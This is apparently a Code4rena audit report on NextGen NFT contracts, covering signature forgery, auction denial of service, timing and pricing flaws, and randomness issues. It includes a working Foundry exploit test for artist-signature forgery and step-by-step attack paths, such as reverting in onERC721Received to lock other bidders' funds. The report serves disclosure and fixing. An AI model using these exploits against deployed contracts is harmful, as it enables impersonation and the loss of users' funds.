@MrPotatoMagic, thanks for contributing! The code goes against its specification and breaks an invariant of the protocol. Regardless of severity, an invariant being broken will always be considered a medium-risk issue given that it relates to pivotal functionality in the system being incorrect.
In this case, funds are sent to a NextGen address rather than a collection-affiliated address or secondary smart contract meant to facilitate fund disbursements. This has implications tax-wise, implications about trust (i.e. if a 10m auction is held, the stakes of trust are increased significantly), and other such problems. Logistically, it is also a heavy burden to manage multiple auction payments at once, prove which source sent which, and so on.
Combining the above with the fact that a clear invariant of the protocol is broken, I will maintain the medium-risk rating.
Submitted by The_Kakers, also found by mrudenko, alexfilippov314, xuwinnie, xAriextz, Draiakoo, Stryder, 0xblackskull, VAD37, rotcivegaf, BugzyVonBuggernaut, and zach
Artist signatures can be forged, making it possible to sign any message, while "proving" that it was signed by any address.
This can be done to impersonate any address from any artist, breaking a core protocol functionality, and losing users' trust. The signature can't be deleted by anyone, nor the artist address, once the collection is signed.
This also breaks one of the main invariants of the protocol:
Properties that should NEVER be broken under any circumstance:
- Only artists can sign their collections.
Evaluated as Medium since it breaks a core contract functionality, and a main invariant, regardless of trusted roles. As any collection admin can impersonate any legit address, which should be consider a way to "escalate their authority beyond their role" as mentioned on the Access Control and Permissions Attack Ideas.
setCollectionData()
allows to set the artist address when the current collectionTotalSupply == 0
:
The problem is that it doesn't check that the param collectionTotalSupply
passed is != 0
. Meaning that the function can be executed multiple times to change the artist address, as long as the total supply is zero:
So, it can be called first to set a fake artist address to call artistSignature()
to sign the collection:
And then call setCollectionData()
again to set the legit artist address.
Once the signature is set, it can't be changed, nor the artist address, as it will always fall under the else
clause:
The following coded POC shows how it can be done.
- Run
forge init --no-git --force
to initiate Foundry on the root of the project. - Create
test/Poc.t.sol
and copy the snippet below. - Run
forge test
.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console2} from "forge-std/Test.sol";
import {NextGenAdmins} from "smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "smart-contracts/NextGenCore.sol";
contract AuctionTest is Test {
NextGenAdmins admin;
NextGenCore gencore;
address collectionAdmin;
function setUp() public {
admin = new NextGenAdmins();
gencore = new NextGenCore("core", "core", address(admin));
string[] memory collectionScript = new string[](0);
gencore.createCollection(
"Name", "Artist", "Description", "Website", "License", "https://base-uri.com/" "Library", "Script", new string[](0)
);
uint256 collectionId = 1;
collectionAdmin = makeAddr("collectionAdmin");
admin.registerCollectionAdmin(collectionId, collectionAdmin, true);
}
function testArtistSignature() public {
uint256 collectionId = 1;
address fakeArtist = collectionAdmin;
uint256 maxCollectionPurchases = 10;
uint256 zeroSupply = 0; // Supply = 0 allows this attack
uint256 setFinalSupplyTimeAfterMint = block.timestamp + 30 days;
// The collection admin sets the initial collection data with a fake artist
vm.prank(collectionAdmin);
gencore.setCollectionData(
collectionId,
fakeArtist,
maxCollectionPurchases,
zeroSupply,
setFinalSupplyTimeAfterMint
);
// Then uses the fake artist address to sign a message impersonating a legit artist
string memory fakeSignature = "I am the Legit Artist Behind CryptoPunks. This is my signature.";
vm.prank(fakeArtist);
gencore.artistSignature(collectionId, fakeSignature);
address legitArtist = makeAddr("legitArtist");
uint256 realTotalSupply = 1000;
// Finally sets the "initial" collection data again, but with the legit artist address and the real total supply
vm.prank(collectionAdmin);
gencore.setCollectionData(
collectionId,
legitArtist,
maxCollectionPurchases,
realTotalSupply,
setFinalSupplyTimeAfterMint
);
// The result is a collection impersonating a legit address, with a fake signature as a proof
assertEq(gencore.retrieveArtistAddress(collectionId), legitArtist);
assertEq(gencore.artistsSignatures(collectionId), fakeSignature);
}
}
One way to prevent this is by checking that the collection total supply is set to a value > 0
:
function setCollectionData(
uint256 _collectionID,
address _collectionArtistAddress,
uint256 _maxCollectionPurchases,
uint256 _collectionTotalSupply,
uint _setFinalSupplyTimeAfterMint
) public CollectionAdminRequired(_collectionID, this.setCollectionData.selector) {
require(
(isCollectionCreated[_collectionID] == true) &&
(collectionFreeze[_collectionID] == false) &&
+ (_collectionTotalSupply > 0)
(_collectionTotalSupply <= 10000000000
), "err/freezed");
The Warden specifies a potential attack path in the artist configuration of a collection by weaponizing the absence of an input sanitization for the
_collectionTotalSupply
argument.Specifically, they envision the following scenario:
- A collection is initialized with an artist but a zero
_collectionTotalSupply
value.- An artist signs the collection (this is permitted by
artistSignature
).- A collection is re-initialized as the
if
structure enters the first conditional, this time with a non-zero collection supply and a different artist.At this point, the collection will have a different artist than the one that signed the collection which breaks an invariant of the protocol and is incorrect behavior.
The Sponsor disputes this submission, but I invite them to re-consider the above step-by-step scenario which is presently possible in the codebase.
I believe that a medium-risk rating for this is correct, as the artist associated with a collection is crucial to the collection's value, and a collection will appear "signed" even if the artist did not sign it.
The Warden's submission was selected as the best due to pinpointing the exact problem in the codebase, outlining a step-by-step scenario via which it can be exploited, and assigning it an apt risk rating.
a2rocket (NextGen) disputed and commented:
NextGen admins are responsible for setting up a collection. The steps are here.
No one can sign a collection besides the address that was set during step 2, so the statement that anyone can impersonate artist is totally wrong!
The collection is deemed finalized when a
totalSupply
is set! Once atotalsupply
is set and the artist did not sign, the address of the artist can change. Once the artist signs the collection the signature cannot change. This is the process.
MrPotatoMagic (warden) commented:
@0xsomeone, this issue should be marked QA at most or even invalid imo. Here is why:
- In the follow-up feedback from the sponsor above, @a2rocket clearly mentions NextGen admins are responsible for setting up a collection. This means not anyone can just create a collection and launch this attack since it requires the NextGen team's trust in a set of people.
- Even after the filtering process by the NextGen team, the signature can never be forged because on the blockchain you can clearly see who signed the transaction i.e. the call to artistSignature(), which can only be made by the current address set for the collection.
- Forgery of signature would only make sense for legal purposes and the proof of who signed artistSignature() is present on the Ethereum blockchain.
- If a collection turns out to be malicious, the NextGen team can just warn users and remove that specific collection from their frontend.
Due to all of these reasons, this issue should be QA or invalid.
@MrPotatoMagic, thanks for providing feedback on this! The submission has been graded as medium in severity due to breaking a core invariant of the protocol, which is that when an artist is associated with a particular collection and has signed it it cannot be altered.
The response by the Sponsor concerning NextGen administrators is invalid. You can evaluate the code yourself and see that the collection administrator can independently perform these actions with no input from the administrative team of NextGen.
The signature is forced because there is no obligation to provide any form of data in the
artistSignature
call. Yes, anyone can go on-chain and see when theartistSignature
was invoked using off-chain tracking tools but that does not correspond to the on-chain data reality. The on-chain data says that the collection has been signed by an artist who never did so, and this is an irreversible change even by administrators.See #2 above.
This is invalid reasoning as the same principle could apply to a wide variety of submissions in this context.
Conclusion - A core invariant of the protocol has been demonstrated to be possible to break with no input by the NextGen administrators whatsoever. Additionally, this invariant is irreversibly broken and cannot be rescued even by administrative action.
As such, I retain my judgment on this submission as being of medium-risk severity.
Note: For full discussion, see here.
Submitted by The_Kakers, also found by Madalad, immeas, DeFiHackLabs, Neon2835, xeros, Bauchibred, fibonacci, 00decree, SpicyMeatball, ChrisTina, Haipls, _eperezok, bdmcbri, alexxander, 0xarno, tnquanghuy0512, Ocean_Sky, spark, Talfao, r0ck3tz, Arabadzhiev, Tricko, 00xSEV, Jiamin, nuthan2x, lsaudit, cu5t0mpeo, 0x_6a70, bronze_pickaxe, circlelooper, rotcivegaf, Nyx, KupiaSec, Delvir0, BugsFinder0x, crunch, ke1caM, twcctop, Juntao, 0xJuda, amaechieth, 0xpiken, funkornaut, 0x180db, Taylor_Webb, BugzyVonBuggernaut, HChang26, ZdravkoHr, Timenov, dimulski, and 0x3b
An auction winner can decide to conditionally revert the claimAuction()
execution.
This leads to the following impacts:
- Other bidders can't get their funds back
- The protocol doesn't receive the funds from the winning bid
This can lead to permanent loss of funds if the adversary decides to. As a drawback, they can't get the NFT.
But nevertheless, they can use their control over the function to ask for a ransom, as the sum of other bids, plus the protocol earnings can be higher than the maximum bid itself and the damaged public image of the protocol for losing users funds.
It also breaks one of the main invariants of the protocol:
Properties that should NEVER be broken under any circumstance:
- The highest bidder will receive the token after an auction finishes, the owner of the token will receive the funds and all other participants will get refunded.
Evaluated as Medium, as despite of the possibility of permanent assets lost, and breaking a main invariant, the adversary will have to take a loss as well; or persuade the participants via a ransom.
claimAuction()
transfers the NFT using safeTransferFrom()
:
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
/// ...
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
-> IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); // @audit adversary can make it revert
-> (bool success, ) = payable(owner()).call{value: highestBid}(""); // @audit funds not transferred
emit ClaimAuction(owner(), _tokenid, success, highestBid);
} else if (auctionInfoData[_tokenid][i].status == true) {
-> (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); // @audit funds not transferred
emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
} else {}
}
}
safeTransferFrom()
calls back the receiver if it is a contract.
An adversary that won the auction can conditionally revert
the execution of the transaction, upon the onERC721Received()
callback.
This will revert the whole transaction, making it impossible to transfer any funds.
Bidders can't cancel their bids either via cancelBid()
or cancelAllBids()
, due to they only allow it to do so if the auction was not ended: AuctionDemo.sol#L125
The protocol, nor the previous token owner have a way to claim the earnings from the auction.
Move the logic to transfer the NFT to its own separated function.
DoS
The Warden specifies that the winning bidder may not implement a proper EIP-721 receive hook either deliberately or by accident.
I consider this to be an exhibit validly categorized as a medium given that its impact is sabotage (i.e. loss-of-funds for other users) at the expense of a single high bid and it can also be used as extortion.
This submission was selected as the best given that it cites the voidance of a main invariant of the protocol, articulates that the funds are irrecoverable, and mentions that it should be marked as a medium given that the attacker would also lose their bid.
@0xsomeone, while #739 could be critical, the high cost makes it unlikely. To execute the attack, the malicious actor must win an auction, risking their funds to lock others' funds, which is impractical in real-world scenarios. You can check #1508 where I discussed the issue without providing a PoC, as it is QA at max, here:
Attackers can exploit this using
onERC721Received
too, but it's costlier since they need to be the highest bidder to claim the NFT.
@btk, thanks for your contribution! I believe you are misjudging why this was selected as a medium-risk vulnerability while #734 is a high-risk vulnerability.
Yes, the would-be attacker would need to be the winning bidder but they would acquire an NFT regardless that would offset the cost of the attack. Additionally, any bidder can simply "choose" to carry this attack or simply acquire the NFT. Specifying that the attack would be impractical is identical to saying users would not participate in auctions and win.
The likelihood might be low, but the impact is high rendering this an aptly graded medium-risk vulnerability. #734 has a lower bar of entry and has been marked as high-risk as such. This was already elaborated in the relevant comment of this submission.
Note: For full discussion, see here.
Submitted by 0x3b, also found by AvantGard and lanrebayode77
As explained by the docs, several steps can occur during the minting process. However, an airdrop before salesOption
3 can lead to price inflation.
Under salesOption
3, getPrice returns:
return collectionPhases[_collectionId].collectionMintCost
+ ((collectionPhases[_collectionId].collectionMintCost / collectionPhases[_collectionId].rate) * gencore.viewCirSupply(_collectionId));
This is the increased rate based on the NFTs already in circulation. If an airdrop occurs before a mint with salesOption
3, the price will be much higher than intended.
Example:
Steps | Option | NFTs | Price | Rate |
---|---|---|---|---|
1 OG users | Airdropped | 20 NFTs | free | - |
2 Whitelisted | Sales 3 | 10 NFTs | 1 ETH | 10 (0.1 ETH increase) |
3 Public | Sales 1 | 70 NFTs | 2 ETH | - |
With the current three steps, after the airdrop, salesOption
3 should start at 1 ETH and gradually increase to 2 ETH. Afterward, it should mint at a constant rate of 2 ETH.
However, when sales option 3 starts, getPrice will return 3 ETH instead of 1 ETH. This will cause the initial users to pay an inflated price, which was not intended by the owner and can harm their reputation. It's also unfair to the users, as these so-called special (whitelisted) users will pay increased prices.
Note: see original submission for math breakdown provided.
Gist here.
Add to remappings - contracts/=smart-contracts/
and run it with forge test --match-test test_airdrop --lib-paths ../smart-contracts
.
You can implement a mapping with the airdropped NFTs and deduct this value from gencore.viewCirSupply(_collectionId)
to avoid disrupting the minting process.
Error
a2rocket (NextGen) confirmed via duplicate issue #246
After further consideration, I have decided to merge several periodic mint-related findings into two separate categories:
The reasoning behind this change is that both rely on different aspects of the code and have different root causes. The former highlights a flaw in the
getPrice
function and how it calculates prices, whilst the latter highlights a flaw in themint
function and how it calculates thelastMintDate
. Fixing one does not infer that the other is fixed, reinforcing the idea that they are separate vulnerabilities.I consider this submission to be of a lower severity than #380, correctly given that it can be rectified. Specifically, a
lastMintDate
update in the future per #2012 cannot be reversed, while an incorrect price as indicated in this and relevant submissions can be reversed by reconfiguring the collection and can be controlled by the user simply not willing to pay the inflated price until the price is corrected.A problem when selecting the best report in this submission is that all Warden submissions make mention of "airdropped" tokens and fail to identify that the general circulating supply affects the price in their proposed remediation, such as #380. I have thus chosen this report as the best given that it cites the relevant documentation, contains a privately accessible valid PoC, and provides a basic representation of the pricing formula using mathematical notation to illustrate the problem.
MrPotatoMagic (warden) commented:
@0xsomeone, here is why I believe this issue (and its duplicates) should be marked as a duplicate of #380 but with a partial grading.
- The root cause is the same, i.e. existing circulating supply causes sale model 3 to work incorrectly.
- The impact mentioned here and that in #380 are two sides of the same coin.
- The issue mentions that prices will skyrocket (which is true) but the issue also mentions that
initial users to pay an inflated price
, which is incorrect since the user cannot mint (pay) in the first place due to thelastMintDate
being set to a date far ahead in the future.- I mention partial grading because although the root cause is correct, the impact demonstrated is invalid. Thus, according to the C4 final SC verdict in the docs, the issue should deserve a partial-grading, while being marked as a dup of #380 due to the root cause being the same.
@MrPotatoMagic, thanks for contributing! The root cause is not the presence of the circulating supply, it is the incorrect price calculation of a sale model 3. While it may make sense to carry over sale model 3 sales across different periods, it does not make sense to carry over mint restrictions. For example:
- Collection A runs a periodic sale, amassing 10 NFTs sold, and reaching a price of 10 ETH per NFT.
- Collection A performs an airdrop as part of an incentive program.
- Collection A opens up the periodic sale for a public run, wanting to maintain the 10 ETH per NFT price.
To fix this:
- Issue 381 would need to update its price calculation to use solely the circulating supply minted via the periodic sale.
- Issue 380 would need to reset its
lastMintDate
entirely.A fix for #380 does not fix #381 and vice versa. Both concern different parts of the code and require different alleviations.
Based on the above, I will maintain these submissions as separate.
Submitted by 0x3b, also found by dimulski, KupiaSec, t0x1c, ZdravkoHr, degensec, and REKCAH
getPrice in salesOption
2 can round down to the lower barrier, effectively skipping the last time period. In simpler terms, if the price is scheduled to decrease over 4 hours, it will decrease for 2.999... hours and then jump to the price at the end of the 4th hour.
getPrice uses this else-if calculation to determine whether it should return the price as an equation or just the final price.
if (((collectionMintCost - collectionEndMintCost) / rate) > tDiff) {
price = collectionPhases[_collectionId].collectionMintCost - (tDiff * collectionPhases[_collectionId].rate);
} else {
price = collectionPhases[_collectionId].collectionEndMintCost;
}
The if
statement's method of division by rate
is incorrect, as it results in rounding down and incorrect price movements. This can cause the price to jump over the last time period, effectively decreasing faster than intended.
Example:
Values | |
---|---|
collectionMintCost |
0.49 ETH |
collectionEndMintCost |
0.1 ETH |
rate |
0.1 ETH (per hour) |
timePeriod |
1 hour - 3600 sec |
Hour 0 to 1 - 0.49 ETH.
Hour 1 to 2 - 0.39 ETH - as it crosses the 1st hour, the price becomes 0.39 ETH.
Hour 2 to 3 - 0.29 ETH - same here.
It should go from 3 to 4 to 0.19 ETH, but that step is missed, and it goes directly to 0.1 ETH - the final price.
Hour 3 to 4 - 0.10 ETH - the final price.
The equation for calculating tDiff
using the provided variables is:
Note: see original submission for math breakdown provided.
We want the crossover when hour 2 switches to 3, which is when (block.timestamp - collectionPhases[_collectionId].allowlistStartTime)
= 3 h or 10800 sec.
Note: see original submission for math breakdown provided.
We plug in tDiff
and the other variables into the if.
if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost)
/ (collectionPhases[_collectionId].rate)) > tDiff) {
Note: see original submission for math breakdown provided.
We obtain 3 as the answer, which is due to rounding down, as we divide 0.39 by 0.1. Solidity only works with whole numbers, causing the if to fail as 3 > 3
is false. This leads to entering the else statement where the last price of 0.1 ETH is returned, effectively missing one step of the 4-hour decrease.
Gist here.
Add contracts/=smart-contracts/
to mappings and run it with forge test --match-test test_changeProof --lib-paths ../smart-contracts -vv
.
Logs:
[PASS] test_changeProof() (gas: 745699)
Logs:
4900000000000000000
3900000000000000000
2900000000000000000
1000000000000000000
A simple yet effective suggestion is to add =
in the if.
- if (...) > tDiff){
+ if (...) >= tDiff){
Error
a2rocket (NextGen) confirmed via duplicate issue #393
The Warden illustrates that a rounding error can result in a price that is lower than the actual one for a particular period.
The relevant rounding issue has been detected by the bot in L-17, however, it is designated as a low-risk finding and the attack path that the Warden illustrates is not immediately clear by consuming the bot report submission.
The C4 Supreme Court verdict did not finalize on issues based entirely on bot findings and as such, I will deem this exhibit a valid medium-severity submission given that:
It takes a low-risk bot report and illustrates that it should be treated as a medium-severity issue that is not immediately discernible by consuming the bot report alone.
The bot report's mitigation would not lead to the loss of precision being resolved as it states that:
...it's recommended to require a minimum numerator amount to ensure that it is always greater than the denominator
The Warden's submission was selected as the best due to their clear depiction of the issue using mathematical formulas, a provision of both textual and coded PoCs, and a simple remediation path.
[M-10] Bidder Funds Can Become Unrecoverable Due to 1 second Overlap in participateToAuction()
and claimAuction()
Submitted by HChang26, also found by immeas, sces60107, phoenixV110, Neon2835, tnquanghuy0512, c3phas, lsaudit, MrPotatoMagic, ayden, volodya, oakcobalt, Kow, DeFiHackLabs, t0x1c, xAriextz, ubl4nk, peanuts, oualidpro, 0x3b, 0xMAKEOUTHILL, merlin, 0xSwahili, innertia, mojito_auditor, 0xarno, Haipls, Eigenvectors, alexfilippov314, Nyx, ohm, Zac, and ABA
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L57
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104
Bidder funds may become irretrievable if the participateToAuction()
function is executed after claimAuction()
during a 1-second overlap.
The protocol allows bidders to use the participateToAuction()
function up to the auction's end time.
function participateToAuction(uint256 _tokenid) public payable {
->require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
auctionInfoData[_tokenid].push(newBid);
}
However, the issue arises when an auction winner immediately calls claimAuction()
right after the auction concludes, creating a 1-second window during which both claimAuction()
and participateToAuction()
can be executed.
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
->require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
auctionClaim[_tokenid] = true;
uint256 highestBid = returnHighestBid(_tokenid);
address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
address highestBidder = returnHighestBidder(_tokenid);
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
(bool success, ) = payable(owner()).call{value: highestBid}("");
emit ClaimAuction(owner(), _tokenid, success, highestBid);
} else if (auctionInfoData[_tokenid][i].status == true) {
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
} else {}
}
}
The issue arises when claimAuction()
is executed before participateToAuction()
within this 1-second overlap. In such a scenario, the bidder's funds will become trapped in AuctionDemo.sol
without any mechanism to facilitate refunds. Both cancelBid()
and cancelAllBids()
functions will revert after the auction's conclusion, making it impossible for bidders to recover their funds.
function participateToAuction(uint256 _tokenid) public payable {
- require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
+ require(msg.value > returnHighestBid(_tokenid) && block.timestamp < minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
auctionInfoData[_tokenid].push(newBid);
}
Context
a2rocket (NextGen) confirmed via duplicate issue #962
The Warden has clearly specified what the vulnerability is, has provided a recommended course of action that aligns with best practices, and has specified all aspects of the contract that would fail for the user if they tried to reclaim their lost funds.
The likelihood of this exhibit manifesting in practice is relatively low (requires a
block.timestamp
that exactly matches the auction). In the post-merge PoS Ethereum that the project intends to deploy, blocks are guaranteed to be multiples of12
and can only be manipulated as multiples of it.The impact is high, as the funds of the user are irrecoverably lost even with administrative privileges as no rescue mechanism exists, rendering this exhibit a medium severity issue.
Note: For full discussion, see here.
Submitted by Hound
Note: this finding was reported via the winning Automated Findings report. It was declared out of scope for the audit, but is being included here for completeness.
The call/delegatecall
function returns a boolean value indicating whether the call was successful. However, it is important to note that this return value is not being checked in the current implementation.
As a result, there is a possibility that the call wasn't successful, while the transaction continues without reverting.
There are 11 instances of this issue.
File: smart-contracts/AuctionDemo.sol
113: (bool success, ) = payable(owner()).call{value: highestBid}("");
116: (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
128: (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
139: (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
File: smart-contracts/MinterContract.sol
434: (bool success1, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd1).call{value: artistRoyalties1}("");
435: (bool success2, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd2).call{value: artistRoyalties2}("");
436: (bool success3, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd3).call{value: artistRoyalties3}("");
437: (bool success4, ) = payable(tm1).call{value: teamRoyalties1}("");
438: (bool success5, ) = payable(tm2).call{value: teamRoyalties2}("");
464: (bool success, ) = payable(admin).call{value: balance}("");
[434, 435, 436, 437, 438, 464]
File: smart-contracts/RandomizerRNG.sol
82: (bool success, ) = payable(admin).call{value: balance}("");
[82]
Important and valid.
Submitted by Hound
Note: this finding was reported via the winning Automated Findings report. It was declared out of scope for the audit, but is being included here for completeness.
These functions lack a refund mechanism for excess Ether sent by the caller, resulting in locked funds within the contract. To rectify this, the function should be modified to implement a refund for any surplus amount.
There are 3 instances of this issue.
File: smart-contracts/MinterContract.sol
233: require(msg.value >= (getPrice(col) * _numberOfTokens), "Wrong ETH");
234: for(uint256 i = 0; i < _numberOfTokens; i++) {
235: uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
236: gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase);
237: }
238: collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
266: require(msg.value >= getPrice(_mintCollectionID), "Wrong ETH");
267: uint256 mintIndex = gencore.viewTokensIndexMin(_mintCollectionID) + gencore.viewCirSupply(_mintCollectionID);
268: // burn and mint token
269: address burner = msg.sender;
270: gencore.burnToMint(mintIndex, _burnCollectionID, _tokenId, _mintCollectionID, _saltfun_o, burner);
271: collectionTotalAmount[_mintCollectionID] = collectionTotalAmount[_mintCollectionID] + msg.value;
361: require(msg.value >= (getPrice(col) * 1), "Wrong ETH");
362: uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
363: gencore.mint(mintIndex, mintingAddress, ownerOfToken, tokData, _saltfun_o, col, phase);
364: collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
Important and valid.
For this audit, 29 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by The_Kakers received the top score from the judge.
The following wardens also submitted reports: immeas, oakcobalt, DeFiHackLabs, Tadev, cheatc0d3, devival, r0ck3tz, Madalad, ZanyBonzy, dy, Arabadzhiev, Fulum, 00xSEV, lsaudit, audityourcontracts, alexfilippov314, rotcivegaf, rishabh, SpicyMeatball, MrPotatoMagic, xAriextz, mrudenko, pipidu83, tpiliposian, evmboi32, oualidpro, ZdravkoHr, and 0x3b.
ID | Title |
---|---|
[01] | NextGenRandomizerVRF randomizer uses Goerli keyHash |
[02] | fulfillRandomWords sets the token hash as the first fulfilled random number instead of calculating a hash |
[03] | Insufficient pseudo-randomness is masked under over-complicated implementation |
[04] | requestRandomWords() is marked as payable in NextGenRandomizerRNG but it can't be called with value |
[05] | getWord() returns the same word for different ids |
[06] | Predictable pseudo-random values should be proposed by trusted roles |
[07] | returnHighestBidder() doesn't update the highBid attribute on its calculation |
[08] | Auction participants will have their funds locked until NFT is claimed |
[09] | Airdropped minted tokens for auctions should be transferred to a escrow contract |
[10] | The receiver of the funds from claimAuction() should be moved to another function |
[11] | Use supportsInterface() from EIP-165 instead of custom-made checks |
[12] | supportsInterface() is incorrectly implemented on NextGenCore |
[13] | Collection scripts with indexes 999 and 1000 can't be updated |
[14] | It is not possible to add or remove generative scripts |
[15] | Merkle nodes can have 64 bytes length, making internal nodes be reinterpreted as leaf values |
[16] | Merkle proofs from burnOrSwapExternalToMint() could be used in mint() and vice versa |
[17] | Lack of check for empty artist signature |
[18] | Artist can't propose new addresses and percentages |
[19] | acceptAddressesAndPercentages() can be frontrunned by artists to change settings |
[20] | acceptAddressesAndPercentages() can approve addresses and percentages that have not been set |
[21] | Unnecessary address payable conversions |
The randomizer will never resolve the words they need to generate the token hash to set for the token id.
requestRandomWords()
requests words with a tokenHash
to the VRFCoordinatorV2
contract: RandomizerVRF.sol#L54-L55
That hash is initialized with its Goerli value:
The VRFCoordinatorV2
contract ignores invalid hashes:
// Note we do not check whether the keyHash is valid to save gas.
// The consequence for users is that they can send requests
// for invalid keyHashes which will simply not be fulfilled.
VRFCoordinatorV2.sol#L386-L388
This leads to the NextGenRandomizerVRF
being unable to resolve the words to set the token hash.
Define the tokenHash
with a variable in the constructor.
[02] fulfillRandomWords
sets the token hash as the first fulfilled random number instead of calculating a hash
The sources of entropy for the token hash randomness are greatly reduced.
The implementation expects to consider multiple words (in case it is configured that way), AND the token id for randomness, but it is only using the first word.
This affects both RandomizerRNG
and RandomizerVRF
contracts.
Notice how fulfillRandomWords()
calculates the token hash as bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId]))
:
function fulfillRandomWords(uint256 _requestId, uint256[] memory _randomWords) internal override {
gencoreContract.setTokenHash(
tokenIdToCollection[requestToToken[_requestId]],
requestToToken[_requestId],
-> bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId]))
);
emit RequestFulfilled(_requestId, _randomWords);
}
The problem is that bytes32()
is only taking the left-most 32 bytes of the abi encoded data, which correspond in this case to the first word in the _randomWords
array.
Subsequent words (in the case of RandomizerVRF
) and the tokenId
(requestToToken[_requestId]
) will not be considered as a source of entropy for the hash.
In fact, it will set the token hash with the same value as the first fulfilled word.
Calculate the keccak256
hash of the packed data. This way the whole pack will be considered for the hash:
function fulfillRandomWords(uint256 _requestId, uint256[] memory _randomWords) internal override {
gencoreContract.setTokenHash(
tokenIdToCollection[requestToToken[_requestId]],
requestToToken[_requestId],
- bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId]))
+ bytes32(keccak256(abi.encodePacked(_randomWords,requestToToken[_requestId])))
);
emit RequestFulfilled(_requestId, _randomWords);
}
RandomizerNXT
attempts to provide pseudo-randomness via randoms.randomNumber()
and randoms.randomWord()
through the XRandoms
contract to create a token hash:
But these functions just provide a false sensation of "more" randomness:
- Both functions rely on
abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp)
which will always return the same result for the same block. randomWord()
usesgetWord()
to return a word from a list, but adds no additional value to randomness, as it will always returned a correlated value to its correspondingid
, and will only be used to create a hash.- A subset is returned by the operation
% 1000
or% 100
, which will unnecessarily restrict the values of the random numbers, as they will be used to create a hash.
Remove the XRandoms
contract as it adds unnecessary complexity and provides no additional value to the randomness of the result of calculateTokenHash()
in RandomizerNXT
.
In case the random words and numbers are valuable, expose them in some way, as it is currently not possible to retrieve them after the token hash is generated. The same applies to returnIndex(), which is useless, as there is no stored or emitted data about the id
a token used to generate its hash.
[04] requestRandomWords()
is marked as payable
in NextGenRandomizerRNG
but it can't be called with value
The function is marked as payable
and sends value
on it:
It can only be called via calculateTokenHash()
, which doesn't provide it with value
:
Verify if the function should actually be payable
and remove the modifier in case it doesn't need it. In case the core contract is supposed to send it some value, modify the calling functions to include the corresponding value
.
XRandoms::getWord()
is used to return "random" words upon a provided id
. But it will return the same word for ids 0
and 1
, making the first word have 2x the probability of being returned compared to the others:
if (id==0) {
return wordsList[id];
} else {
return wordsList[id - 1];
}
The if
clause is not needed, as the function is expected to be called upon the result of a % 100
operation: XRandoms.sol#L41-L42, which will return values [0-99] that can safely be used inside the bounds of the words array.
Replace the if
statement with:
- if (id==0) {
- return wordsList[id];
- } else {
- return wordsList[id - 1];
- }
+ return wordsList[id];
RandomizerNXT
uses predictable pseudo-random values to set the token hash.
This can be used by users to predict the resulting token, and mint the most valuable ones, or with the rarest attributes, taking advantage over other legit users.
Separate the token hash assignment to a separate function, like the other randomizers do, and only allow trusted roles to execute it to prevent user from abusing it.
returnHighestBidder
may return a different highest bidder to win the auction than the actual highest one.
Note how highBid
is always 0
, and only the index
is updated when calculating the highest bidder:
function returnHighestBidder(uint256 _tokenid) public view returns (address) {
-> uint256 highBid = 0;
uint256 index;
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) {
if (auctionInfoData[_tokenid][i].bid > highBid && auctionInfoData[_tokenid][i].status == true) {
index = i;
}
}
if (auctionInfoData[_tokenid][index].status == true) {
return auctionInfoData[_tokenid][index].bidder;
} else {
revert("No Active Bidder");
}
}
Compare it to how returnHighestBid()
does it:
function returnHighestBid(uint256 _tokenid) public view returns (uint256) {
